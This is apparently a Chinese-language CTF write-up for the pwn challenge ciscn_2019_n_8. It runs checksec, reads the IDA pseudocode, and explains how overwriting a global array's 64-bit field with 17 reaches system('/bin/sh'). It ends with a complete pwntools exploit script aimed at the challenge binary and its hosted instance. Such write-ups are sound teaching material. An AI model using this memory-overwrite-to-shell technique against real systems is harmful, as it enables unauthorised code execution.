首先运行checksec
得知
1、程序架构是 i386,32位,小端模式
2、got表可读可写
3、启用栈保护
4、栈中数据没有执行权限
5、启用位置无关可执行文件即编译时将程序编译为位置无关,程序运行时各个段加载的虚拟地址在装载时才确定
./ciscn_2019-n-8
得知输入一些字符,然后输出。需要猜对输入字符串。
丢入IDA看看,按F5
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-14h] [ebp-20h]
int v5; // [esp-10h] [ebp-1Ch]
var[13] = 0;
var[14] = 0;
init();
puts("What's your name?");
__isoc99_scanf("%s", var, v4, v5);
if ( *(_QWORD *)&var[13] )
{
if ( *(_QWORD *)&var[13] == 17LL )
system("/bin/sh");
else
printf(
"something wrong! val is %d",
var[0],
var[1],
var[2],
var[3],
var[4],
var[5],
var[6],
var[7],
var[8],
var[9],
var[10],
var[11],
var[12],
var[13],
var[14]);
}
else
{
printf("%s, Welcome!\n", var);
puts("Try do something~");
}
return 0;
}
阅读伪代码看到
__isoc99_scanf("%s", var, v4, v5);
if ( *(_QWORD *)&var[13] )
{
if ( *(_QWORD *)&var[13] == 17LL )
system("/bin/sh");
从终端读入字符串存入var中,只要*(_QWORD *)&var[13]==17ll即可执行system,拿到shell。也就是只需要输入14个整数,确保第14个是17,就可以使得system执行
通过双击var,看到
.bss:00004060 public var
.bss:00004060 ; _DWORD var[15]
.bss:00004060 var dd 0Fh dup(?) ; DATA XREF: main+28↑o
.bss:00004060 ; main+56↑o ...
.bss:00004060 _bss ends
发现 _DWORD var[15],即var是32位的。但是17LL是长整形即64位整形,且var[13]指针被强制类型转换为64位,即*(_QWORD *)&var[13]。也就是var的前13个数是32位的,第14个是64位。即可得出payload=p32(1)*13+p64(17)。
完整的exp是
from pwn import *
p = process('./ciscn_2019_n_8')
# p = remote('node5.buuoj.cn',27482)
payload = p32(1)*13 + p64(17)
p.sendline(payload)
p.interactive()
Note: 在IDA中,_WORD代表一个字(1个字=2个字节=16位),_DWORD代表两个字(2个字=4个字节=32位),_QWORD(4个字=8个字节=64位),_OWORD(8个字=16个字节=128位)